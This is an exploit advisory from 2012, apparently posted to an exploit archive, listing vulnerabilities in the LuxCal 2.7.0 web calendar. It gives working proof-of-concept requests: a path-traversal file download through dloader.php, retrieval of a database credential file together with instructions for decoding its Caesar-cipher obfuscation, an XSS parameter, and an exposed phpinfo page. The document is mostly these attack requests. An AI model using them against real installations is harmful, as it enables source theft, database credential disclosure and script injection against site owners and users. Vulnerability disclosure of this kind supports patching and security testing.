luxcal 2.7.0 – Multiple Vulnerabilities
################################################# ### Exploit Title: LuxCal v2.7.0 Multiple Remote Vulnerabilities ### Date: 17/09/2012 ### Author: L0n3ly-H34rT ### Contact: l0n3ly_h34rt@hotmail.com ### My Site: http://se3c.blogspot.com/ ### Vendor Link: http://www.luxsoft.eu/ ### Software Link: http://www.luxsoft.eu/dloader.php?file=luxcal270.zip ### Version: 2.7.0 ### Tested on: Linux/Windows ################################################# 1- Local File Inclusion : * P.O.C : http://127.0.0.1/luxcal270/dloader.php?fName=../index.php this is example for download the source of index script , you will see the source inside as name of affected file "dloader.php" 2- Information Disclosure : * P.O.C : http://127.0.0.1/luxcal270/lcaldbc.dat - you will see the information of database but encrypte as Caesar cipher methode in shift 11 e.g. : LuxCal 2.7.0 p 5 {x 0;h 9 "adrpawdhi";x 1;h 4 "ajmm";x 2;h 4 "gddi";x 3;h 6 "000000";x 4;h 0 "";} - my information in database is : mysql server : localhost mysql username : root mysql password : 000000 mysql database : luxx - when i install script all this name of information is encrypte and the word become as we see before in file "lcaldbc.dat" : mysql server : adrpawdhi mysql username : gddi mysql password : 000000 mysql database : ajmm - you ask me how to decrypt that , you can decrypt by many ways but i give the easy way here : http://www.richkni.co.uk/php/crypta/caesar.php you can put your text and submit to decipher that word , then search in " Processed text - shift 11 " you will see your decrypted word .. 3- XSS : * P.O.C : http://127.0.0.1/luxcal270/index.php?cD=[XSS] also some files is affected 4- phpinfo () : http://127.0.0.1/luxcal270/pages/phpinfo.php ############################################ # Greetz to my friendz |